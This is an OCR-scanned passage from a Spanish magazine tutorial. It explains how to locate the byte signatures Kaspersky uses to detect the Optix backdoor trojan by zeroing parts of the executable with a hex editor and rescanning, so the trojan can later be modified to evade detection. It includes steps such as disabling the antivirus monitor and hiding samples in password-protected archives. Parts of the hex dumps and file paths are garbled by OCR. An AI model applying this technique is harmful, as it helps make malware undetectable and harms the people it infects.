vuestro PC. Si todo va como deberia se
listaran los archivos de esa unidad a la
derecha.

Bien, esta claro que funciona. Vamos a
desinstalarlo usando su propia utilidad
en 'Server Options'>'Server
Information'>'Server Uninstall'. Para
finalizar comprobamos que efectiva-
mente ha desaparecido la entrada del
registro y el archivo del directorio
system32. Perfecto. Ahora que nos
hemos asegurado de que todo va como
es debido es aconsejable que nos
hagamos una copia de seguridad del
archivo comprimiéndolo en un 'zip' o un
'rar' con contrasefia, por ejemplo, asi nos
evitaremos tener que volver a realizar
todo este proceso si modificamos por
accidente el archivo original o si un AV
nos lo detecta y borra sin que podamos
evitarlo.

Bueno, esto es todo lo que necesitamos
conocer del troyano para realizar
nuestras practicas: configurarlo, crearlo,
instalarlo, comprobar que funciona y
desinstalarlo. El troyano tiene infinidad
de opciones mas con las que podriamos
jugar durante horas, pero no es el
objetivo de este articulo. Ademas puede
resultar peligroso e incluso ilegal hacer
segln qué cosas con él, asi que si queréis
investigar por vuestra cuenta hacedlo

Imagen 3.

siempre en equipos de vuestra pro-
piedad y tomando todas las precaucio-
nes que podais.

Encontrando las firmas

El método que vamos a probar aqui fue
descrito por Badcode en el foro de
elhacker.net (muy recomendable la
lectura tanto de la web como del foro),
este es el link directo a su exposicion:

http://foro.elhacker.net/index.php/topi
c,38580.0.html

Yo lo voy volver a explicar aqui adaptado
a nuestro troyano. Intentaré también
ampliar la explicacion que hizo Badcode
con consejos y trucos de mi cosecha que
he ido aprendiendo durante estos meses
que he estado practicandolo. Espero que
la lectura resulte también amena y util a
aquellos que ya conocian el método.

Para dar una idea general de lo que
vamos a hacer antes de empezar, lo que
trataremos de conseguir con este
método es reducir progresivamente el
“espacio de busqueda” donde el AV nos
identifica la cadena de bytes gue tiene
catalogada, hasta que lleguemos al
punto en que reduciendo mas ese
espacio el AV ya no detecta nada.

Para poder ir reduciendo ese “espacio de
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busqueda” usaremos una adaptacion
“peculiar” del algoritmo 'Divide vy
Venceras'. En concreto vamos a seguir
los siguientes pasos:

1) Abrir el archivo en un editor
hexadecimal, llenar la primera
mitad con ceros y guardar el ar-
chivo resultante.

2) Hacer la misma operacion pero
rellenando la sequnda mitad del
archivo.

3) Escanear ambos archivos con
nuestro AV para que él mismo
nos diga en cual de las dos
mitades se encuentra la cadena
identificada.

4 ) Realizar los pasos 1 a 3 con la
parte detectada por el AV hasta
que deje de detectarlo en las dos
ultimas particiones.

Cada punto tiene sus particularidades
que iremos viendo poco a poco. Para
empezar buscaremos las cadenas que
detecta la version de evaluacion del AV
Kaspersky Personal Pro. Podemos
encontrarla en:

http://www.kaspersky.com/trials?
chapter=154373188 (26 mb)

Después de instalarlo, lo primero que
debemos hacer es desactivar el monitor
en tiempo real del AV para que no
interfiera en nuestras pruebas y nos
permita manipular el troyano a nuestro
antojo. Otra posibilidad seria dejar el
monitor activo y configurar su lista de
exclusiones, pero eso no funcionara del
todo bien con todos los AV ya que
algunos escanean automaticamente
todo lo que se carga en memoria cuando
tienen el monitor activo, y eso hace gue
nos salte la alarma cuando, por ejemplo,
abrimos el troyano con un editor
hexadecimal. Aunque cuando hacemos
eso el cédigo del virus se carga en
memoria sin posibilidad de ejecutarse,
estos AV detectan igual la secuencia de
bytes que tienen catalogada y hacen
saltar la alarma.

Hablando de editores hexadecimales,
necesitaremos uno bueno para
continuar, el HexWorkshop por
ejemplo. Puede bajarse una version de
evaluaciéon desde su web oficial:

http://www.bpsoft.com/downloads
/index.html
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Una vez lo tenemos todo listo, instalado
y funcionando, vamos a empezar. Abri-
mos con el HexWorkshop (HW a partir de
ahora) el archivo 'SrvOptix-Ins.exe' que
hemos creado (o el que estaba en el
paquete). Una manera muy comoda de
hacerlo es usando la opcién que nos ha
afiadido el HW en el menu contextual del
botén derecho del ratén, el que nos sale
cuando pulsamos sobre un archivo '.exe’
en el explorer. Nos encontramos la
ventana de laImagen 3.

La columna de la izquierda nos marca
con numeros hexadecimales el offset
(desplazamiento) con el que empieza
cada linea de bytes, las columnas del
centro agrupadas de 4 en 4 digitos son
los datos que componen nuestro archivo,
también en formato hexadecimal, y la
columna de la derecha nos traduce cada
byte de datos a formato ASCII. Los bytes
en hexadecimal (hex a partir de ahora)
que no tienen traduccion en ASCII se
representan como un punto '.'. De ahora
en adelante vamos a tratar con valores
en base decimal y valores en base hex,
para no liarnos pondremos 'h' detras de
todos los valores en hex.

Como he anticipado hace unas lineas el
primer paso es rellenar la primera mitad
del archivo con ceros. También he
adelantado que habria particularidades,
y aqui viene la primera: no vamos a
rellenar totalmente la primera mitad
porque tenemos que conservar intacta la
cabecera del PE. Algunos diréis:
Cabecera PE?... de qué esta hablando
este tio???0_0!

PE son las siglas de 'Portable Execu-
table' y es el formato de todos los
archivos binarios ejecutables (tanto dlls
como aplicaciones) para todas las
plataformas win32 (windows 95 y NT).
En los NT (y eso incluye XP) incluso los
drivers estan en este formato. Fue
disefiado por Microsoft y estandarizado
por el comité TIS (Tool Interface Stand-
ard) formado por Microsoft, Intel,
Borland, Watcom, IBM y otras, en 1993.
Al parecer basaron su disefio en las
especificaciones del COFF ('Common
Object File Format') usado para los
'ficheros objeto' y los ejecutables en
varios sistemas Unix.

El caso es que los PE se estructuraron de
manera que en su parte inicial se
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archivo mo valido o
Size of heap reserve 00100000 o
corrupto.
Imagen 4.

recopilan toda una serie de datos vy
parametros de configuracion sobre las
caracteristicas del archivo ejecutable,
ademas de una tabla de contenidos para
que el sistema pueda acceder
directamente a la parte deseada sin
tener que recorrer todo el coédigo. Por
ejemplo, si en un momento determinado
el SO necesita mostrar el icono de un PE
primero iréa a su cabecera, leerda el
direccién interna donde se encuentran
los logos e ira directamente hasta ellos
saltandose todo lo demas.

Lo que a nosotros nos interesa de todo
esto es que debemos mantener intacta la
cabecera para evitar que el AV descarte
el archivo antes de escanearlo
completamente por considerarlo un
archivo PE no vélido o corrupto. La
cabecera PE suele terminar en el offset
(desplazamiento) 400h, aunque en
realidad depende de varias cuestiones
como las secciones que tenga el
ejecutable o el lenguaje original de
programacion.

Dado que explicar todos los detalles
sobre la estructura PE se escapa del
objetivo del articulo, veremos una

Trataremos de
reducir progresiva-

O0OCBOFA[542F 6457 664D 6753 SA77 6B32 4E67 344A AC4E [T/d
000CB10C (7332 3443 5172 7266 6D6E 4978 7044 2F38 67
000CB11E [1E01 00__

manera rapida y simple de conocer el
offset exacto del final de |la cabecera con
la ayuda del programa FileAlyzer v1.2,
creado por el mismo autor del famoso
antispyware Spybot - Search &
Destroy. Es un programa de libre distri-
bucidn, asi que podemos bajarlo y usarlo
sin problemas a cambio de una donacién
voluntaria (y muy merecida) a su autor.
Lo encontraréis aqui:

http://www.safer-networking.org/es/
download/index.html .

Después de instalarlo vamos con el
explorador de archivos hasta nuestro
'SrvOptix-Ins.exe', damos con el botén
derecho para el menu contextual y
seleccionamos 'Analyse file with
FileAlyzer' para que no lo abra directa-
mente. Una vez abierto (se puede cam-
biar el lenguaje a espafiol desde Menu>
Language) seleccionamos la pestafia
'Cabecera PE' y vamos hacia el final de
la lista a buscar el campo 'Size of
headers' como se puede apreciar en la
Imagen4.

El valor (hexadecimal) que haya en ese
campo es el offset que indica el final de

Imagen 5.
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las cabeceras PE, que es lo que andamos
buscando, en este caso 400h. Si queréis
mas informacién acerca del conjunto de
la estructura PE podéis encontrarla en
este texto de nuMIT_or:

http://fileinspector.webcindario.com/

docs/numit.htm .

Bien, llegd la hora de hacer nimeros asi
que sacad la calculadora. Con la del
Windows en modo cientifico nos sera
mas que suficiente :"p

Como se trata de llenar la mitad del
archivo con ceros, vamos a buscar cual
es el 'offset' ('desplazamiento') que esta
justo en la mitad. Para ello buscaremos
el offset final, le restaremos el tamano de
la cabecera y lo dividiremos entre dos.
Antes de empezar a meter nimeros nos
aseguramos de tener la calculadora en
modo hex. Veamos, écual es el ultimo
offset? Pues para saberlo basta que
vayamos el HW y pongamos el cursor en
el Gltimo byte. Miramos en la barra de
estado y nos dice claramente 'Offset:
000C8121h' (Imagen 5).

Bien pues si a este numero le restamos
los 400h de la cabecera y dividimos el
resultado entre 2 nos sale 63E90h. Lo
que significa que el punto medio exacto
del trozo de archivo que rellenaremos de
ceros es el offset 64290h ( = 63E90h +
400h). Perfecto, ahora vayamos a ese
offset con el HW: Mend, 'Edit'>'Goto...’
pasteamos el valor directamente de la
calculadora y 'Go'. El atajo para ir
directamente a 'Goto' es 'Cntrl+G',
conviene memorizarlo porque lo
usaremos mucho.

Ahora tenemos que seleccionar tooodos
los bytes desde este hasta el 400h, que
es donde acababa la cabecera. Para ello
necesitaremos un poco de 'mana
informatica’. Se puede hacer de muchas
maneras, yo os explicaré la mia, pero
usad la que querais. Primero es

Imagen 6.
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conveniente marcar el principio y el final
del trozo que rellenaremos con una
cadena que podais identificar facilmente,
como luego total sobrescribiremos con
ceros pues no pasa nada. Como estamos
al final del relleno vamos escribiendo 'A’
v dandole al cursor para atras hasta que
tengamos unas tres lineas de ‘A’
seguidas que acaben justo en offset
64290h (Imagen 6).

Como veis el HW nos marca en rojo los
bytes que hemos modificado nosotros.
Ahora nos vamos al offset 400h vy
hacemos lo mismo pero hacia la derecha
para mantenernos dentro del intervalo
que vamos a rellenar. Una vez hecho esto
volvemos con el cursor al 400h apreta-
mos la tecla maydsculas y mantenién-
dola apretada vamos dandole a AvPag
para ir seleccionando todos los bytes
hasta el del offset 64290h. Hay que estar
atentos para no pasarse, conviene ir
fijandose en la barra de estado ya que
nos informa de los bytes que llevamos
seleccionados con un numero en hex en
el campo 'Sel:', junto al 'Offset:'. Tene-
mos que seleccionar exactamente
63E90h, asi que cuando vayamos acer-
candonos a este numero conviene pasar
a usar el cursor para seleccionar en lugar
de AvPag, si mantenemos las mayus-
culas apretadas al hacer este cambio no
perderemos lo que llevamos seleccio-
nado.

Cuando lo tengamos todo correctamente
seleccionado pulsamos con el botdn
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Imagen 7.

derecho sobre la seleccion y elegmos
'Fill' (el acceso directo que es 'Cntrl + Ins'
cuando hay algo seleccionado). Nos
aparece la ventanadelaImagen?7.

Le indicamos que lo rellene con '00'
poniéndoselo en la casilla correspon-
diente y OK. En este momento el HW nos
avisa de que no podra deshacer esta
accion porque supera su buffer de
memoria para esta tarea, como estamos
seguros de lo que hacemos le decimos
gue siga adelante y ya lo tenemos!.

Una vez hemos acabado el primer
relleno, toca grabar los cambios en un
archivo nuevo. Es conveniente que
pongamos un nombre totalmente
representativo a este archivo, por
ejemplo introduciéndole el offset inicial y
final de la parte intacta. Asi cuando el AV
lo cante, si es que lo canta, podremos ver
directamente en qué intervalo estd
encontrando la firma que tiene
catalogada. En este caso un nombre
adecuado podria ser 'SrvOpt_64290-
FIN.exe',

También es importante mantener bien
organizada la localizacion de los archivos
en carpetas. Cuanto mas organicemos y
sistematicemos el proceso mas facil y
rapido sera encontrar los offsets para los
diferentes AV, y mejor podremos
reutilizar el trabajo hecho. Os cuento mi
sistema. Guardo el archivo original en
una carpeta llamada 'Fase_0', dentro de
esta carpeta hago dos mas que se llamen
'Fase_1a' y 'Fase_1b' y guardo siempre
en la primera el archivo con la parte
inicial intacta y en la segunda el de la
ultima parte intacta. Luego,
dependiendo de hacia donde voy
avanzando, de donde me va detectando
el las firmas el AV, voy haciendo
subcarpetas con nombres secuenciales.
Por ejemplo, si el AV detecta la firma en
la parte inicial, es decir, en la carpeta
'Fase_1a' hago dos subcarpetas que se
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) fase_la
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) Fase_zba
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= | Fase_3bba
=l |_]) Fase_4bbaa
= ) Fase_Shbaaa
= | Fase_cbbaaaa
) Fase_7hbaasaa
= ) Fase_7Tbbaaaab
) Fase_Bbbaaasba
) Face_Bbbaaaabb
= | ) Fase_tbbaaab
= ) Fase_7bbaaaba
= | Fase_gbbaaabaa
_) Fase_Sbbaaasbaaa
) Fase_9bbasabaab
) Fase_gbbaaasbab
) Fase_7bbaaabb
) Fase_Sbbaab
) Fase_dbbab
) Fase_3bbb
Imagen 8.

llamen 'Fase_2aa' y 'Fase_2ab’, y meto
en cada una la parte inicial y final del
nuevo subintervalo rellenado. De esta
manera cuando busquemos las firmas
que detecta un AV diferente, si le
decimos que escanee la carpeta 'Fase_0'
y todas sus subcarpetas seguramente
nos ahorraremos varias divisiones. Y
cuantas mas divisiones tengamos
hechas mas rapido llegaremos a la firma.
Ademas tan solo viendo el nombre de la
carpeta en la que esta el archivo
detectado sabremos exactamente las
divisiones gue llevamos (por el nimero)
y qué camino hemos ido siguiendo (por
las letras).

Es posible que ahora mismo estéis un
poco liados... ~_"! No os preocupéis, a
medida que vayamos haciendo las
'divisiones', 'vaciando' cada parte (que
viene a ser lo mismo que rellenar con
ceros) y guardando el archivo en su
carpeta correspondiente en nuestro caso
practico lo veréis con mas claridad. De
todas formas, como una imagen vale
mas que mil palabras, en la Imagen 8
tenéis un ejemplo del sistema de
carpetas.

Sigamos donde lo habiamos dejado, nos
toca vaciar la segunda parte. Bien, ya
conocemos el método, abrimos el
archivo original, vamos al offset del
centro del intervalo a vaciar (64290h) y
rellenamos con ceros hasta el final. Al
resultado lo guardamos como
'SrvOpt_400-64290.exe' en la carpeta
'Fase_1la' dentro de 'Fase_0', que es la
que le corresponde por tener la primera
parte intacta. Y el archivo anterior (el
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'SrvOpt_64290-FIN.exe') lo ponemos en
la carpeta 'Fase_1b'. Por Ultimo hacemos
una copia de seguridad de cada archivo
comprimiéndolo en sus respectivos

Jrar.

Ahora toca comprobar en cual de las dos
partes esta la firma encontrada por el AV
que estamos analizando, el Kaspersky.
Lo podemos hacer de distintas maneras,
pero la mas rapida y sencilla es desde el
menu contextual del explorador de
archivos del Windows. Es el mismo
procedimiento que para abrir el archivo
con el HW: botén derecho en este caso
sobre la carpeta Fase_0 y elegimos la
opcion de escanear objeto que nos
ofrece el Kaspersky. El resultado deberia
seralgo como la Imagen 9.

Como podemos ver nos detecta
perfectamente el troyano en el archivo
original y en la segunda particion, la de la
fase _1b, es decir, nos detecta la firma
que tiene catalogada como ‘trojan
Backdoor.Win32.0ptix.b' en la particion
que mantiene intacta la segunda mitad
del troyano. Ademas también podemos
ver como el Kaspersky (KAV en adelante)
es capaz de meterse dentro de los
archivos comprimidos en formato rar y
escanear su contenido. No hay muchos
AV que sean capaces de hacer eso hoy en
dia, pero si que es algo que poco a poco
iran incorporando todos, igual que pasd
con los archivos zip. En nuestro caso no
nos interesa que esto ocurra ya que
precisamente usamos esos archivos
como copias de seguridad, y si
tuviéramos configurado el AV para que

borrara automaticamente los virus
detectados ahora mismo habriamos
perdido el trabajo realizado hasta ahora.
La manera mas simple de proteger esas
copias de seguridad es afiadiendo una
contrasefia al crear el archivo compri-
mido. De esta manera ningun AV sera
capaz de hurgar en su contenido, aunque
la contrasefia sea muy simple, por
ejemplo con un simple '0' sera suficiente.

Al cerrar esta ventana que nos informa
de los virus detectados y la siguiente del
KAV que se nos ha abierto para realizar el
escaneado, nos pide si realmente
deseamos salir sin borrar los virus
detectados, le damos al YES y listo.

Ahora, gracias al mismo KAV y un poco
de picaresca, ya sabemos que nos
detecta la firma entre el offset 64290h y
el final del archivo. Vamos a reducir un
poco mas el cerco. Vamos a realizar la
misma operacion de vaciado que con el
archivo original pero con 'SrvOpt_
64290-FIN.exe'. Sacamos la calculadora
y empezamos otra vez con los nimeros.
El total de bytes eran C8120h, menos la
mitad el trozo que ya hemos vaciado
(64290h) y dividido entre 2 nos da
31f48h. Asi que nuestros nuevos trozos
vaciados seran del 64290h hasta
961D8h ( = 31f48h + 64290h ), y del
961D8h al final.

Repetimos el proceso que ya conocemos
con el editor hex y guardamos el archivo
que mantiene intacta la primera parte
como 'SrvOpt_64290-961D8.exe' en
una nueva carpeta dentro de 'fase_1b'
que llamaremos 'fase_2ba'. El archivo

Imagen 9.
% 1
Total rumber of infected objects: 4
Object Status Recommended action
C:\Diseccion Optsc\Fase_0\SrvOpliing. eve 1% a liojan Backdoor Win32 Optich  Delele
C\Dizeccion Opti\F ase (\SrvOplisdng. raf\SrvO plieing. exe Is & rojan Backdoor Wind2 Optixh  Delete
C:ADiseccion Optic\Fase_('ase 1b\SnOpl_B4290-FIN exs I & bojan Backdoor Win32 Optixh  Delels
C:A\Diseccion Optid\Fase_(ase_16AStvDpt_B4230-FIN ran\SrvOpt_B4290-FIN exe It & trojan Backdoor Win32 Optich  Delate
|
| L\ \Fase_0\SrvOptit-ine. exe is a tiojan Backdoor Win32 Optixb. Recommended action: delete:
J
| |
[ Achons to be performed on the selected objscts: |
L
Relete |
@
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que mantiene intacta la sequnda mitad lo
guardamos en una carpeta llamada

'fase_2bb' y lo llamaremos 'SrvOpt_

961D8-FIN.exe'. Comprimimos ahora
ambos archivos poniéndoles la contra-
sefia '0' y procedemos al escaneado de la
carpeta 'fase_1b'. Al finalizar el KAV nos
muestra lo que se ve en laImagen 10.

Comprobamos que sigue detectando la
firma en la fase_2bb, entre el offset
961D8h y el Ultimo. Comprobamos
también gue efectivamente ya no puede
escanear el contenido de los archivos
comprimidos en rar con contrasena ;).

Sigamos, ahora toca vaciar entre
961D8h y AF17Ch y entre éste Ultimo y
el final del archivo (os ahorro las
operaciones para no aburriros con
repeticiones). Guardamos como hasta
ahora, 'SrvOpt_961D8-AF17C.exe' en la
carpeta 'fase_3bba' y 'SrvOpt_AF17C-
FIN.exe' en 'fase_3bbb'. Hacemos los
backup correspondientes y al escanear el
KAV nos muestra la Imagen 11.

Hombre!, parece que algo cambia
aunque tampoco sea para tirar cohetes
:P... Esta vez nos detecta la firma en la
primera particion, entre los offsets
961D8h y AF17Ch. Como vais viendo el
proceso es muy repetitivo, pero es
imprescindible mantener una buena
organizacion para no perderse. Yo suelo
ir anotando todos los pasos y los calculos
en un bloc para que me sirva de guia y en
caso error poder encontrarlo facilmente.

Fase 5. Vaciamos la segunda parte, a
partir de 9C5C1lh, y guardamos el
'SrvOpt_961D8-9C5C1.exe' en 'Fase_
Sbbaaa'. Vaciamos la primera parte
hasta 9C5C1ih y guardamos 'SrvOpt_
9C5C1-A29AA.exe' en 'Fase_5Sbbaab'.
Escaneamos y KAV lo pilla en la primera
parte.

Total number of infected objects 5

Obgect .
C\Diseccion Optix\Fase_(\fase_1b\fase 2bb\Fase 3bba\Fase_dbbsaiFate Sbhass\SrvOpt 961D8-9C5C1 eve Is
C:\Diseccion Opto\Fase_(\fase_1b\fase_2bb\Fase_3bba\Fase dbbaa\Faze Sbbasa\Fase bbbaasa\SrvOpt 361D8-993CC exe Isl
C:\Dizeccion Optod\Fase_0'fase_1b\tase_Zbb\Fase_3bba‘\Fase_dbbas'\Faie Sbbass\Fate_Bbbaaaa\Fase_7bbasasb\SrvOpt_S7ADZ2.993CC exe |
C:A\Diseccion Opt\Fase_0\aze_1b\Mase_Zbb\Fase_3bba\Fase_dbbaa\Fase_Sbbasa\Fase_Bbbaaab\SrvOpl_F93CC-9C50T exe Is
C\Diseccion Dptoc\Faze_(\ase_1b\ase_Z2bb\Fase_3bba\Fase_dbbaa\Fase_Sbbasa\Fase_Gbbasab\Fase_Tbbaaaba\SrvOpt_393CC-94CCEexe s

.I'magen 12.

Total number of infected objects: 1
Obyect

peréis que os prometo que esto acaba-
ra... eeeer.. en algin momento xD. Que
nooo, que ya queda poco, de verdad ;).

Fase 6. Vaciamos como siempre vy
guardamos 'SrvOpt_961D8-993CC.exe'
en 'Fase_6bbaaaa' y 'SrvOpt_993CC-
9C5C1.exe' en 'Fase_bbbaaab'. Escane-
amosy.. 0_0!:

Vaya sorpresa! El KAV nos lo detecta en
ambas particiones! Bueno bueno,
tranquilidad, que no cunda el panico,
seguro que esto tiene una explicacion
légica. Repasemos la teoria, se supone
que al AV detecta una serie continua de
bytes determinada (la famosa firma),
por lo tanto si en nuestro proceso de
vaciado la hubiéramos partido en dos el
AV no reaccionaria detectandonos las
dos partes como es el caso actual, sino
que sencillamente dejaria de detectar el
troyano en ambas particiones, ya que
contendrian secuencias incompletas de
esa firma. Por lo tanto la Unica solucion
es que el KAV nos esté encontrando dos
firmas en lugar de una, y que ademas dé
la alarma de troyano detectado aunque
solo encuentre una de las dos firmas
catalogadas. Esa es la Unica explicacion
razonable en este caso, ya que en cada
una de las dos particiones se encuentra
totalmente eliminada (sustituida por
ceros) una de las dos firmas, y aun asi

ambos archivos son marcados como
Vamos que ya queda menos! No deses- detectados.
Imagen 10.
Tolal number of infected objects 3 |
Object Status Recommended action
C\Diseccion Dptid\Fase_0\fase_TBASIVOpL_ BAZS0FIN exe Iz a tiojan Backdoor Win32 Opiich  Delete '
CADiseccion Optd\Faze_0Wase_1b\Srilpl_B4230-FIN. 1at\SrvOpt_64Z30-FIN exe Is a trojan Backdoot Win32 Opieb  Delete
C\Dizseccion Opt\Fase_'aze_Tb\fase_2bb\SrvOpt_961DE-FIN exe |2 & trojan Backdoor Win3Z2 Optixb  Delete |
Imagen 11.
Tolal numbet of infected objects: 2 |
Object Status Recommendsd action
C:\Diseccion Optic\Fase_D\fase_1b\ I3 trojan Backdoor Win32 Delete '

_961DE-FIN exe Dplich
C\Dissccion Optod\Fase_('aze Tb\fase . 2bb\Fase  3bba\SrvOpl_FB10B-AF17C.exe |5 a trogan Backdoo: Wini2 Optixh  Delete
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C:\Diseccion Opta\Fase_O\ase_1b\are_2bb\Fase_3bba\Fase_dbbas\Fase Sbbass\Fase Ehbsssa\Fate 7hbasasb\SrvOpl 97AD2.993Cexe |5

Imagen 13.

Interesante actitud la del KAV. Es posible
que sus programadores hayan decidido
actuar de esta manera para intentar
aumentar la fiabilidad de la deteccién en
caso de que el troyano fuera modificado.
El caso es que esto nos va a dar un
poquito mas de trabajo, asi que armaos
de paciencia, respirad abdominalmente
en ocho tiempos varias veces, y sigamos
la maraton :P.

Ahora tendremos cuatro fases 7 en vez
de las dos habituales. Pero como hemos
sido precavidos y lo tenemos todo bien
ordenado no nos va a suponer ningun
problema. Hacemos las dos primeras
particiones dentro de la carpeta 'Fase_
6bbaaaa' guardando el archivo 'SrvOpt_
961D8-97AD2.exe' en la carpeta 'Fase_
7bbaaaaa’ y el 'SrvOpt_97AD2-993CC
.exe' en 'Fase_7bbaaaab’. Luego hace-
mos lo mismo dentro de 'Fase_6bbaaab’,
metiendo 'SrvOpt_993CC-9ACC6.exe'
en 'Fase_7bbaaaba' y 'SrvOpt_9ACC6-
9C5C1.exe' en 'Fase_7bbaaabb'. Esca-
neamos toda la carpeta 'Fase_ Sbbaaa’
otra vez para poder ver el resul-tado del
escaneo de las cuatro carpetas fase 7 a la
vez (podéis hacerlo por sepa-rado si lo
preferis, yo lo hago asi para ahorrar
tiempo) y obtenemos lo que observamos
enlaImagen 12.

Vale, esté claro que tendremos fase 8 |

.. Después de lloros y pataleos varios,
nos acordamos de las ensefanzas del
gran erudito y guru corredor de nuestro
tiempo gue nos dice “Ya que has llegado
hasta aqui, éporgué no seguir un poco
mas?” xD. Asi que nos atamos los
machos y nos ponemos decididos a
continuar con nuestra ardua tarea de
buscadores de onzas de oro en rios
virtuales...

Dentro de 'Fase_7bbaaaab' abrimos
sendas carpetas 'Fase_8bbaaaaba' vy
'Fase_8bbaaaabb' y metemos en ellas
los respectivos 'SrvOpt_97AD2-9874F
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Imagen 14.

.exe'y 'SrvOpt_9874F-993CC.exe'. Lue-
go hacemos lo mismo en 'Fase_
7bbaaaba' abriendo 'Fase_8bbaaabaa' y
'Fase_B8bbaaabab' y metiendo en cada
una 'SrvOpt_993CC-9A049.exe' v 'SrvO
pt_9A049-9ACC6.exe' respectivamente.

Escanearemos esta vez por partes para
mayor comodidad. Empezamos con la
'Fase_7bbaaaab' y vemos el resultado en
laImagen 13.

PREMIOOOQ!! Por fin! No detecta nada en
las fases 8bbaaaaba y 8bbaaaabb, lo
cual quiere decir que al hacer esta
particion hemos cambiado la firma que
detectaba en esta zona. Segln el
comportamiento que hemos ido viendo
hasta ahora la Unica explicacion de que
dejen de detectarse los dos archivos
particionados es que la firma que se
detectaba antes de la particion se haya
separado quedando una parte de ella en
cada particion. Vamos a comprobarlo.
Volvamos una fase atras y cambiemos un
solo byte, el que esta justo punto de
division de las dos particiones de la fase
siguiente, el del offset 9874Fh. Abrimos
el archivo 'SrvOpt_97AD2-993CC.exe’
que si es detectado, vamos al offset
9874Fh y lo sustituimos por 00.
Escaneamos vy... lo sigue detectando!?!
O_0O! Cémo es posible?!

Como somos fieles creyentes de la teoria
vamos a intentar buscar una explicacion
razonable =_~... &Y si hubiera dos firmas
en lugar de una? Uhmmm no, si fuera asi
habria detectado las dos particiones
siguientes... Pero, ¢y si esta vez en lugar
de seguir dando la alarma al detectar
cada firma, le bastara no encontrar una
de las dos para no dar mas la alarma?
Seria logico pensar que la gente de KAV
catalogara 3 firmas distintas y que diera
la alarma siempre que se detectaran en
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el mismo archivo a al menos 2 de las 3
firmas. Hay billones de bytes combi-
nados de millones de maneras diferentes
en los miles de archivos de tan solo un
disco duro. Si las cadenas detectadas no
son muy grandes, de solo unos diez
bytes por ejemplo, no es para nada im-
pensable que se pueda encontrar esa
misma cadena de bytes en archivos
totalmente inofensivos. Requerir la
presencia de 2 de 3 firmas en un mismo
archivo para identificarlo parece una
buena tactica tanto para evitar falsas
alarmas como para seguir detectando
archivos maliciosos que hayan sido
ligeramente modificados.

Supongamos que tenemos razoén, iqué
deberiamos hacer para seguir
acorralando ambas firmas? Esta claro
que no podemos seguir la misma tactica
que hasta ahora, asi que toca sacarle
brillo a la calva xD. Veamos, por las
pruebas que hemos ido haciendo hemos
deducido que hay al menos dos firmas, vy
que cada una de ellas esta completa en
una de las dos mitades del archivo de
esta fase 7. Nos quedan 6394 bytes ( =
18FAh = 993CCh - 97AD2h ) por inspec-
cionar en este archivo, eso corresponde
a unas 8 paginas de bytes en mi HW (el
tamafio de las paginas depende del
tamano de wvuestra ventana). Empe-
zando por arriba o abajo, si vamos relle-
nando cada pagina con ceros y guardan-
do el resultado en un archivo diferente
cada vez, en un maximo de 8 pasos
habremos reducido la blsqueda a los
bytes de una sola pagina, unos 800.
Bueno, seguro que no es el método mas

eficiente, pero funcionar fijo que
funciona. Vamos a ello.

Abrimos el archivo 'SrvOpt_97AD2-
993CC.exe' y, como nos gusta hacer las
cosas al revés, decidimos empezar a
rellenar por el final. Vamos al offset
993CCh vy rellenamos hacia arriba una
pagina con ceros. Tal como vemos en la
Imagen 14.

Recordad que dependiendo del tamafio
de ventana vuestro HW puede variar el
numero de bytes que seleccionéis en una
pagina. Para seguir exactamente mis
pasos sin diferencias es mejor que os
guiéis por el numero de bytes
seleccionados mas que por las paginas.
En este caso y como veis en la imagen
son 828 bytes. De todas formas es
aconsejable que os acostumbréis a ir
abriendo wvuestro propio camino
aplicando la idea del método a vuestro
caso particular.

Guardamos el resultado como 'SrvOpt_
97AD2-993CC-828b.exe', escaneamos
y... vayal, no detecta nada, parece que
tuvimos suerte y ya dimos con una de las
firmas en el primer paso. Eso de hacer
las cosas al revés y empezar por el final
nos ha dado suerte ~”! O bien esa firma,
o parte de ella estan en esos 828 bytes
gue acabamos de vaciar. Afinemos mas,
rellenemos solo la mitad de esos 828. No
hace falta que lo hagamos exacto, con
seleccionar la mitad de la pagina ya vale,
ahora y¥a nos movemos en un margen
muy pequefio.

Lo hacemos, guardamos como 'SrvOpt_
97AD2-993CC-432b.exe' escaneamos y
vemos que si que es detectado. Asi que
volvemos a abrir este mismo archivo y
vaciamos unas 6 lineas mas, que a mi me
corresponden a 216 bytes. Guardamos,
escaneamos Y.. nada, ya no lo pilla.
Repetimos rellenando solo 3 lineas
(108b), guardamos, escaneamos y ..
tampoco.

Bueno, bueno, andamos ya muy cerca. A
partir de ahora es solo cuestion de
tiempo el aislar justo el byte exacto tal
que si es cambiado hace que el KAV deje
de detectar el archivo. Es una tarea muy

Imagen 15.

[0009918C |[EB37 84FA FFS0 6A00 GAO0D A148 DF49 008B OODEB[.7...Pj.j..H.I....
[00D9919E |D62F F9FF SOA1 48DF 4900 8BOD EBDS 2FF9 FFS0|./..P.H.I..... /..P
(00099180 |00 0000 5068 2000 0000 0000 0000 0000 GOOO(M...Ph ...........
[000991C2|0000 D000 0000 0000 0000 0000 0000 0000 0000 .. .ueerrvnneennans
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mecanica que no entrafia ningun
misterio. Podemos hacerlo de mitad en
mitad, o simplemente byte a byte, hasta
que demos con ese byte 'magico'. Lo
Unico que debemos tener en cuenta es
hacerlo siempre de abajo a arriba,
porque en este caso hemos empezado a
vaciar este trozo desde abajo. Asi,
cuando demos con el byte 'magico'
sabremos sin lugar a dudas que se trata
del Ultimo byte de la dltima de las firmas
de esta seccion.

Después de un ratillo de 'rellena y corta’
llegamos a la conclusion de que el byte
'magico’ es el del offset 991B6h. Ahora
gue tenemos el punto final de la firma
vayamos a por su inicio. Para ello
seguiremos con el proceso de tanteo,
pero en lugar de ir sustituyendo por
ceros intervalos completos de bytes
iremos cambiando un solo byte a una
distancia arbitraria del final de la firma, y
segln siga o no siendo detectado por el
AV sabremos si ese byte que hemos
cambiado todavia estd, o no, dentro de la
firma. En este caso buscamos un positivo
del KAV en vez de un negativo. Veamoslo
en nuestro ejemplo.

Nos vamos al offset del final de la firma,
el 991B6h, y desplazamos el cursor hacia
la izquierda la distancia deseada,
empezaremos con 6 bytes. Sustituimos
el byte '68' del offset 991B0h por '00'
como en la Imagen 15 (que no os
confundan los ceros de los 3 bytes
siguientes a este, ya estaban alli antes).

Guardamos, escaneamos Y.. sigue sin
detectarlo como virus, asi gue ese byte
todavia pertenece a la firma. Volvemos a
poner el valor antiguo de ese byte ('68')
y repetimos la operacion 6 bytes mas ala
izquierda cambiando esta vez el 'E8' del

Esquema 1.

26

Modificando el conte- Offsefs Longitud
nido de cada una de Firma Fase
Ry A Inicial Final Dec Fin
e S AT 1 | 7bbaacaab 984ACh | 985AAN 254 FEh
